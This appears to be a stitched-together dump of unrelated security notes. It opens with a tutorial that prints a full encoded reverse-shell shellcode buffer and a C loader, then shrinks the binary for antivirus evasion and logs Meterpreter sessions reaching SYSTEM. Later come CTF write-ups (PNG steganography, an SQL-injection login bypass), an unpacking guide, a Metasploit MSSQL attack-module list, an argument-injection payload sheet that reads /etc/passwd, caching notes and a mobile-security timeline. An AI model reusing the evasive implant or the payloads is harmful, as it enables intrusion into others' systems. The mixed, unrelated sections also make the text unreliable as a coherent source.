[‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[‐] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] =
"\\xd9\\xc3\\xba\\xa1\\x43\\xe5\\x72\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1"
"\\x56\\x31\\x55\\x18\\x03\\x55\\x18\\x83\\xc5\\xa5\\xa1\\x10\\x8e\\x4d\\xa7"
"\\xdb\\x6f\\x8d\\xc8\\x52\\x8a\\xbc\\xc8\\x01\\xde\\xee\\xf8\\x42\\xb2\\x02"
"\\x72\\x06\\x27\\x91\\xf6\\x8f\\x48\\x12\\xbc\\xe9\\x67\\xa3\\xed\\xca\\xe6"
"\\x27\\xec\\x1e\\xc9\\x16\\x3f\\x53\\x08\\x5f\\x22\\x9e\\x58\\x08\\x28\\x0d"
"\\x4d\\x3d\\x64\\x8e\\xe6\\x0d\\x68\\x96\\x1b\\xc5\\x8b\\xb7\\x8d\\x5e\\xd2"
"\\x17\\x2f\\xb3\\x6e\\x1e\\x37\\xd0\\x4b\\xe8\\xcc\\x22\\x27\\xeb\\x04\\x7b"
"\\xc8\\x40\\x69\\xb4\\x3b\\x98\\xad\\x72\\xa4\\xef\\xc7\\x81\\x59\\xe8\\x13"
"\\xf8\\x85\\x7d\\x80\\x5a\\x4d\\x25\\x6c\\x5b\\x82\\xb0\\xe7\\x57\\x6f\\xb6"
"\\xa0\\x7b\\x6e\\x1b\\xdb\\x87\\xfb\\x9a\\x0c\\x0e\\xbf\\xb8\\x88\\x4b\\x1b"
"\\xa0\\x89\\x31\\xca\\xdd\\xca\\x9a\\xb3\\x7b\\x80\\x36\\xa7\\xf1\\xcb\\x5e"
"\\x04\\x38\\xf4\\x9e\\x02\\x4b\\x87\\xac\\x8d\\xe7\\x0f\\x9c\\x46\\x2e\\xd7"
"\\x95\\x41\\xd1\\x07\\x1d\\x01\\x2f\\xa8\\x5d\\x0b\\xf4\\xfc\\x0d\\x23\\xdd"
"\\x7c\\xc6\\xb3\\xe2\\xa8\\x72\\xbe\\x74\\x93\\x2a\\xbf\\x81\\x7b\\x28\\xc0"
"\\x89\\x4e\\xa5\\x26\\xd9\\xe0\\xe5\\xf6\\x9a\\x50\\x45\\xa7\\x72\\xbb\\x4a"
"\\x98\\x63\\xc4\\x81\\xb1\\x0e\\x2b\\x7f\\xe9\\xa6\\xd2\\xda\\x61\\x56\\x1a"
"\\xf1\\x0f\\x58\\x90\\xf3\\xf0\\x17\\x51\\x76\\xe3\\x40\\x06\\x78\\xfb\\x90"
"\\xa3\\x78\\x91\\x94\\x65\\x2f\\x0d\\x97\\x50\\x07\\x92\\x68\\xb7\\x14\\xd5"
"\\x97\\x46\\x2c\\xad\\xae\\xdc\\x10\\xd9\\xce\\x30\\x90\\x19\\x99\\x5a\\x90"
"\\x71\\x7d\\x3f\\xc3\\x64\\x82\\xea\\x70\\x35\\x17\\x15\\x20\\xe9\\xb0\\x7d"
"\\xce\\xd4\\xf7\\x21\\x31\\x33\\x84\\x26\\xcd\\xc1\\xa3\\x8e\\xa5\\x39\\xf4"
"\\x2e\\x35\\x50\\xf4\\x7e\\x5d\\xaf\\xdb\\x71\\xad\\x50\\xf6\\xd9\\xa5\\xdb"
"\\x97\\xa8\\x54\\xdb\\xbd\\x6d\\xc8\\xdc\\x32\\xb6\\xfb\\xa7\\x3b\\x49\\xfc"
"\\x57\\x52\\x2e\\xfd\\x57\\x5a\\x50\\xc2\\x81\\x63\\x26\\x05\\x12\\xd0\\x39"
"\\x30\\x37\\x71\\xd0\\x3a\\x6b\\x81\\xf1";
```

建立Micropoor_small_payload工程,配置如下:


### 源码如下:
```cpp
# include <windows.h>
int main(void)
{
char *shellcode = (char *)"Micropoor_shellcode";
DWORD Micropoor_shellcode;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &Micropoor_shellcode);
if (!ret) {
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
return EXIT_SUCCESS;
}
```
**原始shellcode_payload大小如下:**
75776字节

**优化:**
在优化的过程中,需要确保
* 性能
* 稳定性
* 大小
* 可塑性
* 免杀性
**非算法,故优化/01**

无使用预编译头,故否

**无需调试信息,故否**

**自定义入口点:execMicropoor_shellcode**

**再次编译:**

**payload大小如下:**
4608字节

### 第一次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 4 opened (192.168.1.5:53 ‐> 192.168.1.119:3887) at 2019‐01‐27 14:30:27 ‐0500
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter >
```
### 第二次优化payload:
载入PEID

**合并data to text,rdata to text 在次生成。**

**Section变化如下:**

**payload大小如下:**
4096字节

**第二次靶机测试:**分别测试Windows 2003,Windws 7,reverse OK。

```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 9 opened (192.168.1.5:53 ‐> 192.168.1.119:3891) at 2019‐01‐27 14:46:20 ‐0500
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 1232
```
### 第三次优化payload:
在00000E60起含有大部分000h,充填掉00,在次生成payload。
```bash
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
....
```

**payload大小如下:**
3174字节

**第三次靶机测试:**分别测试Windows 2003,Windws 7,reverse OK。并且最终编译运行库依然为:**/MT**


```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.5:53 ‐> 192.168.1.119:3894) at 2019‐01‐27 14:56:30 ‐0500 6
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 3152
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

### 第四次优化payload:
.......
文中的前三次优化,三次生成,已满足大部分实战场景。当遇到更苛刻的实战场景,75776字节优化到3174字节,接下来的季中,会继续优化。
> Micropoor
|
sec-knowleage
|
# Buenos Aires - Conference
Category: Misc.
## Description
> You arrive at the location through the coordinates that you got from the assassin, a luxurious yacht. A fat, bald man lies on a puma couch. He sips on a dry martini, smokes the biggest cigar you've ever seen and when he smiles, a golden tooth is revealed. You can’t help but smile back at him, although you think the place seems shady. "Welcome to my yacht, Johnson, finally you show us your face. Have you killed the AGENT now? Good! You’re here to collect your reward I presume? I’ll have my guy finalize the transaction but before you leave I need a small favour from you." It seems that he is mistaking you for the assassin but you don’t mind.
>
> Challenge: Hide and seek (misc)
>
> The man hands you a pendrive which you reluctantly connect to your laptop. He says he got it from a partner, and the partner claims that he hid valuable information in that PNG there. The problem is, it looks empty. See if you can find anything.
A PNG file was attached.
## Solution
Let's check the PNG validity with `pngcheck`:
```console
┌──(user@kali)-[/media/sf_CTFs/google/8_Croatia_-_Yacht]
└─$ pngcheck download/hideandseek.png
download/hideandseek.png illegal (unless recently approved) unknown, public chunk eDIH
ERROR: download/hideandseek.png
```
This PNG has an unknown chunk ID: `eDIH`, read backwards as `HIDe`.
We'll use [Kaitai](https://kaitai.io/) to extract whatever's there. First, we generate a Python script to access PNG files:
```console
┌──(user@kali)-[/media/sf_CTFs/google/8_Croatia_-_Yacht]
└─$ ksc ~/utils/forensics/kaitai_struct_formats/image/png.ksy -t python
```
Then we use it in the following script:
```python
import png
data = bytearray()
p = png.Png.from_file("download/hideandseek.png")
for chunk in p.chunks:
if chunk.type == "eDIH":
data += chunk.body
print(data.decode())
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/google/8_Croatia_-_Yacht]
└─$ python3 solve.py
Q1RGe0RpZFlvdUtub3dQTkdpc1Byb25vdW5jZWRQSU5HP30=
```
Looks like base64:
```console
┌──(user@kali)-[/media/sf_CTFs/google/8_Croatia_-_Yacht]
└─$ python3 solve.py | base64 -d
CTF{DidYouKnowPNGisPronouncedPING?}
```
|
sec-knowleage
|
### 最后一次异常法概述
最后一次异常法的原理是, 程序在自解压或自解密过程中, 可能会触发无数次的异常. 如果能定位到最后一次程序异常的位置, 可能就会很接近自动脱壳完成位置. 现在最后一次异常法脱壳可以利用Ollydbg的异常计数器插件, 先记录异常数目, 然后重新载入, 自动停在最后一次异常处.
### 最后一次异常法概述要点
1. 点击`选项->调试选项—>异常`, 把里面的√全部去掉! 按下`CTRL+F2`重载下程序
2. 开始程序就是一个跳转, 在这里我们按`SHIFT+F9`, 直到程序运行, 记下从开始按`SHIFT+F9`到程序运行的次数`m`!
3. `CTRL+F2`重载程序, 按`SHIFT+F9`(这次按的次数为程序运行的次数`m-1`次)
4. 在OD的右下角我们看见有一个"`SE 句柄`", 这时我们按`CTRL+G`, 输入`SE 句柄`前的地址!
5. 按F2下断点!然后按`SHIFT+F9`来到断点处, F8单步跟踪
### 最后一次异常法概述示例
示例程序可以点击此处下载: [5_last_exception.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/5_last_exception.zip)
OD载入程序, 在菜单`选项->调试设置->异常标签页`中取消勾选所有的忽略异常, 然后重载程序.
我们按下`Shift+F9`, 记录按了多少次, 程序正常运行. 我们要得到的是倒数第二次按下是按了多少次. 在本例中
* `shift+F9`一次, 到了`0040CCD2`的位置
* `shift+F9`两次, 程序正常运行
那么我们重载程序, 只需按下1次(`2-1=1`)`Shift+F9`, 来到`0040CCD2`的位置, 观察堆栈窗口, 这里有一个`SE处理程序: 0040CCD7`
我们在CPU窗口(汇编指令), 按`Ctrl+G`, 输入`0040CCD7`, 然后在此处按下F2. 也就是在`0040CCD7`处设置断点, 然后按下`Shift+F9`运行, 触发断点.
触发断点后, 来单步跟踪. 向下都是一些循环和跳转, 我们使用F4跳过循环. 最后到达如下位置
显然在最后的`mov ebp, 0041010CC; jmp ebp`是在跳转向OEP
显然, 我们幸运地来到了OEP处.
|
sec-knowleage
|
import os
import re
ARCHIVE_FILE_PATTERN = re.compile(r'^.*\.(tar\.gz|zip|7z|rar|exe|jar|xz|gz|tar|war)$', re.I)
ARCHIVE_EXCEPTED = re.compile(r'[/\\](struts2|CVE-2016-9086|weblogic[/\\]weak_password)[/\\]')
LOWERCASE_EXT_EXCEPTED = re.compile(r'[/\\]\.pytest_cache[/\\]')
def test_filename():
"""
We are not allowed uppercase software directory name
"""
basedir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..'))
for name in os.listdir(basedir) + os.listdir(os.path.join(basedir, 'base')):
if not os.path.isdir(name):
continue
assert name.islower()
for (now_dir, dirs, files) in os.walk(basedir):
for name in files:
fullname = os.path.join(now_dir, name)
if LOWERCASE_EXT_EXCEPTED.search(fullname) is None:
_, ext = os.path.splitext(name)
assert ext == ext.lower(), 'file extension must be lowercase, not %r' % fullname
if name.lower() == 'readme.md' or name.lower() == 'readme.zh-cn.md':
assert name == 'README.md' or name == 'README.zh-cn.md', "README filename must be 'README.md' or 'README.zh-cn.md', not %r" % fullname
if ARCHIVE_EXCEPTED.search(fullname) is None:
assert ARCHIVE_FILE_PATTERN.match(name) is None, "You should not upload a archive file like %r" % fullname
|
sec-knowleage
|
msf 内置关于 mssql 插件如下(部分非测试mssql 插件)

关于msf常用攻击mssql插件如下:
1. auxiliary/admin/mssql/mssql_enum
2. auxiliary/admin/mssql/mssql_enum_sql_logins
3. auxiliary/admin/mssql/mssql_escalate_dbowner
4. auxiliary/admin/mssql/mssql_exec
5. auxiliary/admin/mssql/mssql_sql
6. auxiliary/admin/mssql/mssql_sql_file
7. auxiliary/scanner/mssql/mssql_hashdump
8. auxiliary/scanner/mssql/mssql_login
9. auxiliary/scanner/mssql/mssql_ping
10. exploit/windows/mssql/mssql_payload
11. post/windows/manage/mssql_local_auth_bypass
本地靶机测试:
x86 windows 2003 ip:192.168.1.115

### 1. auxiliary/admin/mssql/mssql_enum
非常详细的目标机Sql server 信息:


### 2.auxiliary/admin/mssql/mssql_enum_sql_logins
枚举sql logins,速度较慢,不建议使用。

### 3.auxiliary/admin/mssql/mssql_escalate_dbowner
发现dbowner,当sa无法得知密码的时候,或者需要其他账号提供来支撑下一步的内网渗透。

### 4.auxiliary/admin/mssql/mssql_exec
最常用模块之一,当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令。权限继承 Sql server。

### 5.auxiliary/admin/mssql/mssql_sql
最常用模块之一,如果熟悉Sql server 数据库特性,以及sql语句。建议该模块,更稳定。

### 6.auxiliary/admin/mssql/mssql_sql_file
当需要执行多条sql语句的时候,或者非常复杂。msf本身支持执行sql文件。授权渗透应用较少,非授权应用较多的模块。

### 7.auxiliary/scanner/mssql/mssql_hashdump
mssql的hash导出。如果熟悉sql语句。也可以用mssql_sql模块来执行。


### 8.auxiliary/scanner/mssql/mssql_login
内网渗透中的常用模块之一,支持RHOSTS,来批量发现内网mssql主机。mssql的特性除了此种方法。还有其他方法来专门针对mssql主机发现,以后得季会提到。

### 9.auxiliary/scanner/mssql/mssql_ping
查询mssql 实例,实战中,应用较少。信息可能不准确。

### 10.exploit/windows/mssql/mssql_payload
非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传payload。

**注:由于本季的靶机是 windows 2003,故参数set method old,如果本次的参数为cmd,那么payload将会失败。**

### 11.post/windows/manage/mssql_local_auth_bypass
post模块都属于后渗透模块,不属于本季内容。未来的系列。会主讲post类模块。
> 后者的话:
在内网横向渗透中,需要大量的主机发现来保证渗透的过程。而以上的插件,在内网横向或者Sql server主机发现的过程中,尤为重要。与Mysql 不同的是,在Sql server的模块中,一定要注意参数的配备以及payload的组合。否则无法反弹payload。
> Micropoor
|
sec-knowleage
|
# Argument Injection
Argument injection is similar to command injection as tainted data is passed to to a command executed in a shell without proper sanitization/escaping.
It can happen in different situations, where you can only inject arguments to a command:
- Improper sanitization (regex)
- Injection of arguments into a fixed command (PHP:escapeshellcmd, Python: Popen)
- Bash expansion (ex: *)
In the following example, a python script takes the inputs from the command line to generate a ```curl``` command:
```py
from shlex import quote,split
import sys
import subprocess
if __name__=="__main__":
command = ['curl']
command = command + split(sys.argv[1])
print(command)
r = subprocess.Popen(command)
```
It is possible for an attacker to pass several words to abuse options from ```curl``` command
```ps1
python python_rce.py "https://www.google.fr -o test.py"
```
We can see by printing the command that all the parameters are splited allowing to inject an argument that will save the response in an arbitrary file.
```ps1
['curl', 'https://www.google.fr', '-o', 'test.py']
```
## Summary
* [List of exposed commands](#list-of-exposed-commands)
* [CURL](#CURL)
* [TAR](#TAR)
* [FIND](#FIND)
* [WGET](#WGET)
* [References](#references)
## List of exposed commands
### CURL
It is possible to abuse ```curl``` through the following options:
```ps1
-o, --output <file> Write to file instead of stdout
-O, --remote-name Write output to a file named as the remote file
```
In case there is already one option in the command it is possible to inject several URLs to download and several output options. Each option will affect each URL in sequence.
### TAR
For the ```tar``` command it is possible to inject arbitrary arguments in different commands.
Argument injection can happen into the '''extract''' command:
```ps1
--to-command <command>
--checkpoint=1 --checkpoint-action=exec=<command>
-T <file> or --files-from <file>
```
Or in the '''create''' command:
```ps1
-I=<program> or -I <program>
--use-compres-program=<program>
```
There are also short options to work without spaces:
```ps1
-T<file>
-I"/path/to/exec"
```
### FIND
Find some_file inside /tmp directory.
```php
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
```
Print /etc/passwd content.
```php
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
```
### WGET
Example of vulnerable code
```php
system(escapeshellcmd('wget '.$url));
```
Arbitrary file write
```php
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
```
## References
- [staaldraad - Etienne Stalmans, November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic, 06/25/2014](https://www.exploit-db.com/papers/33930)
- [TL;DR: How exploit/bypass/use PHP escapeshellarg/escapeshellcmd functions - kacperszurek, Apr 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
|
sec-knowleage
|
# 缓存
<!-- GFM-TOC -->
* [缓存](#缓存)
* [一、缓存特征](#一缓存特征)
* [二、缓存位置](#二缓存位置)
* [三、CDN](#三cdn)
* [四、缓存问题](#四缓存问题)
* [五、数据分布](#五数据分布)
* [六、一致性哈希](#六一致性哈希)
* [七、LRU](#七lru)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、缓存特征
### 命中率
当某个请求能够通过访问缓存而得到响应时,称为缓存命中。
缓存命中率越高,缓存的利用率也就越高。
### 最大空间
缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。
当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。
### 淘汰策略
- FIFO(First In First Out):先进先出策略,在实时性的场景下,需要经常访问最新的数据,那么就可以使用 FIFO,使得最先进入的数据(最晚的数据)被淘汰。
- LRU(Least Recently Used):最近最久未使用策略,优先淘汰最久未使用的数据,也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据,也就是经常被访问的数据,从而保证缓存命中率。
- LFU(Least Frequently Used):最不经常使用策略,优先淘汰一段时间内使用次数最少的数据。
## 二、缓存位置
### 浏览器
当 HTTP 响应允许进行缓存时,浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
### ISP
网络服务提供商(ISP)是网络访问的第一跳,通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
### 反向代理
反向代理位于服务器之前,请求与响应都需要经过反向代理。通过将数据缓存在反向代理,在用户请求反向代理时就可以直接使用缓存进行响应。
### 本地缓存
使用 Guava Cache 将数据缓存在服务器本地内存中,服务器代码可以直接读取本地内存中的缓存,速度非常快。
### 分布式缓存
使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
相对于本地缓存来说,分布式缓存单独部署,可以根据需求分配硬件资源。不仅如此,服务器集群都可以访问分布式缓存,而本地缓存需要在服务器集群之间进行同步,实现难度和性能开销上都非常大。
### 数据库缓存
MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
### Java 内部的缓存
Java 为了优化空间,提高字符串、基本数据类型包装类的创建效率,设计了字符串常量池及 Byte、Short、Character、Integer、Long、Boolean 这六种包装类缓冲池。
### CPU 多级缓存
CPU 为了解决运算速度与主存 IO 速度不匹配的问题,引入了多级缓存结构,同时使用 MESI 等缓存一致性协议来解决多核 CPU 缓存数据一致性的问题。
## 三、CDN
内容分发网络(Content distribution network,CDN)是一种互连的网络系统,它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
CDN 主要有以下优点:
- 更快地将数据分发给用户;
- 通过部署多台服务器,从而提高系统整体的带宽性能;
- 多台服务器可以看成是一种冗余机制,从而具有高可用性。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
## 四、缓存问题
### 缓存穿透
指的是对某个一定不存在的数据进行请求,该请求将会穿透缓存到达数据库。
解决方案:
- 对这些不存在的数据缓存一个空数据;
- 对这类请求进行过滤。
### 缓存雪崩
指的是由于数据没有被加载到缓存中,或者缓存数据在同一时间大面积失效(过期),又或者缓存服务器宕机,导致大量的请求都到达数据库。
在有缓存的系统中,系统非常依赖于缓存,缓存分担了很大一部分的数据请求。当发生缓存雪崩时,数据库无法处理这么大的请求,导致数据库崩溃。
解决方案:
- 为了防止缓存在同一时间大面积过期导致的缓存雪崩,可以通过观察用户行为,合理设置缓存过期时间来实现;
- 为了防止缓存服务器宕机出现的缓存雪崩,可以使用分布式缓存,分布式缓存中每一个节点只缓存部分的数据,当某个节点宕机时可以保证其它节点的缓存仍然可用。
- 也可以进行缓存预热,避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
### 缓存一致性
缓存一致性要求数据更新的同时缓存数据也能够实时更新。
解决方案:
- 在数据更新的同时立即去更新缓存;
- 在读缓存之前先判断缓存是否是最新的,如果不是最新的先进行更新。
要保证缓存一致性需要付出很大的代价,缓存数据最好是那些对一致性要求不高的数据,允许缓存数据存在一些脏数据。
### 缓存 “无底洞” 现象
指的是为了满足业务要求添加了大量缓存节点,但是性能不但没有好转反而下降了的现象。
产生原因:缓存系统通常采用 hash 函数将 key 映射到对应的缓存节点,随着缓存节点数目的增加,键值分布到更多的节点上,导致客户端一次批量操作会涉及多次网络操作,这意味着批量操作的耗时会随着节点数目的增加而不断增大。此外,网络连接数变多,对节点的性能也有一定影响。
解决方案:
- 优化批量数据操作命令;
- 减少网络通信次数;
- 降低接入成本,使用长连接 / 连接池,NIO 等。
## 五、数据分布
### 哈希分布
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点,数据的主键为 key,则将该数据分配的节点序号为:hash(key)%N。
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
### 顺序分布
将数据划分为多个连续的部分,按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000,使用顺序分布可以将其划分成多个子表,对应的主键范围为 1 \~ 1000,1001 \~ 2000,...,6001 \~ 7000。
顺序分布相比于哈希分布的主要优点如下:
- 能保持数据原有的顺序;
- 并且能够准确控制每台服务器存储的数据量,从而使得存储空间的利用率最大。
## 六、一致性哈希
Distributed Hash Table(DHT) 是一种哈希分布方式,其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
### 基本原理
将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环,每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X,只需要将它前一个节点 C 上的数据重新进行分布即可,对于节点 A、B、D 都没有影响。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
### 虚拟节点
上面描述的一致性哈希存在数据分布不均匀的问题,节点存储的数据量有可能会存在很大的不同。
数据不均匀主要是因为节点在哈希环上分布的不均匀,这种情况在节点数量很少的情况下尤其明显。
解决方式是通过增加虚拟节点,然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多,那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好,从而使得数据分布也更加均匀。
## 七、LRU
以下是基于 双向链表 + HashMap 的 LRU 算法实现,对算法的解释如下:
- 访问某个节点时,将其从原来的位置删除,并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点,当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
- 为了使删除操作时间复杂度为 O(1),就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射,通过 Key 就能以 O(1) 的时间得到节点,然后再以 O(1) 的时间将其从双向队列中删除。
```java
public class LRU<K, V> implements Iterable<K> {
private Node head;
private Node tail;
private HashMap<K, Node> map;
private int maxSize;
private class Node {
Node pre;
Node next;
K k;
V v;
public Node(K k, V v) {
this.k = k;
this.v = v;
}
}
public LRU(int maxSize) {
this.maxSize = maxSize;
this.map = new HashMap<>(maxSize * 4 / 3);
head = new Node(null, null);
tail = new Node(null, null);
head.next = tail;
tail.pre = head;
}
public V get(K key) {
if (!map.containsKey(key)) {
return null;
}
Node node = map.get(key);
unlink(node);
appendHead(node);
return node.v;
}
public void put(K key, V value) {
if (map.containsKey(key)) {
Node node = map.get(key);
unlink(node);
}
Node node = new Node(key, value);
map.put(key, node);
appendHead(node);
if (map.size() > maxSize) {
Node toRemove = removeTail();
map.remove(toRemove.k);
}
}
private void unlink(Node node) {
Node pre = node.pre;
Node next = node.next;
pre.next = next;
next.pre = pre;
node.pre = null;
node.next = null;
}
private void appendHead(Node node) {
Node next = head.next;
node.next = next;
next.pre = node;
node.pre = head;
head.next = node;
}
private Node removeTail() {
Node node = tail.pre;
Node pre = node.pre;
tail.pre = pre;
pre.next = tail;
node.pre = null;
node.next = null;
return node;
}
@Override
public Iterator<K> iterator() {
return new Iterator<K>() {
private Node cur = head.next;
@Override
public boolean hasNext() {
return cur != tail;
}
@Override
public K next() {
Node node = cur;
cur = cur.next;
return node.k;
}
};
}
}
```
## 参考资料
- 大规模分布式存储系统
- [缓存那些事](https://tech.meituan.com/cache_about.html)
- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
|
sec-knowleage
|
# Episode 0: Challenge 1
## Description
> A clean and fair game of chess. Careful though, this is not a game for grandmasters to win.
>
> Hint: Don't make this game harder than it needs to be.
A link to an online chess game was attached.
## Solution
The link leads us to an online chess game called "Hacker Chess". In this game we can compete with the computer.
If it's not hard enough to win as-is, at some point the computer suddenly starts cheating by turning all of its pawns into queens!
On the bottom left corner of the screen, we have a link to the "Master Login":
```html
<div style="display: flex; width: 50%; justify-content: right;"><a style="color: white;" href="admin.php">Master Login</a></div>
```
It's protected by a username and password:
```html
<form method="post">
username: <input type="text" name="username"><br>
password: <input type="password" name="password"><br>
<input type="submit">
</form>
```
Luckily, the most basic SQL injection can bypass it:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP000]
└─$ curl 'https://hackerchess-web.h4ck.ctfcompetition.com/admin.php' -X POST --data-raw 'username=admin&password=%27+or+%27%27%3D%27' -L -c cookiejar
<html>
<head>
<title>Secret Admin Panel</title>
<!-- ... --->
</head>
<body>
<h1>Change config of the Chess AI!</h1>
<form method="POST">
Thinking Time: <input type="number" name="thinking_time" value=""><br/>
AI Queen Cheats: <input type="radio" id="cheats_enabled" name="cheats_enabled" value="1"> <label for="cheats_enabled">Yes</label> <input type="radio" id="cheats_enabled" name="cheats_enabled" value="0"> <label for="cheats_enabled">No</label><!-- Currently set to: -->
<input type="submit">
</form>
</body>
</html>
```
In the admin panel, it looks like we can limit the computer's thinking time AND disable cheats. So, we provide a negative thinking time to force the computer to make rash decisions and disable the cheats, making it much easier to beat the AI:

|
sec-knowleage
|
#2016移动安全事记
时间线
- 0x00
- 1.6 [“百脑虫”手机病毒分析报告](http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/)
于15年末,360移动安全团队发现,以功能模块形式捆绑在各类应用中,可进行提权、替换系统启动脚本、对抗安全工具、静默"推广"应用等。
- 1.8 [京东钱包越权查询之任意查看两账户之- 0x间的转账信息](http://www.wooyun.org/bugs/wooyun-2016-0168304)
年初,白帽子[骑虎打狗](http://www.wooyun.org/whitehats/%E9%AA%91%E8%99%8E%E6%89%93%E7%8B%97)在乌云平台上报了一个京东钱包应用的安全漏洞,与服务器方通信上的逻辑设计漏洞+未做认证导致可做越权信息查询。
- 1.9 [雷电OS篡改MIUI系统签名,影响用户正常升级](http://www.tuicool.com/articles/RfuUnaN)
继快播公审后,小米于2016年1月9日发布公告称360安全卫士欺骗用户安装恶意软件雷电OS,篡改MIUI系统签名,影响用户正常升级。为此,MIUI商店已经全线下架360软件。
- 修改了开机画面。
- 重刷了recovery,并且禁止用户使用。防止用户刷回官方系统。
- 预置360安全卫士阉割版,应用商店,浏览器。
- 禁用原有的浏览器,应用商店,系统升级。导致用户永远无法升级。
- 预置了雷电桌面,并且无法修改为原有桌面和第三方桌面,修改后几秒钟会重新启动雷电桌面。
- 修改原有系统签名。改为google的测试签名,导致原有手机的系统应用出现各种问题。
*另附[知乎讨论](https://www.zhihu.com/question/35074885),有相关举证。*
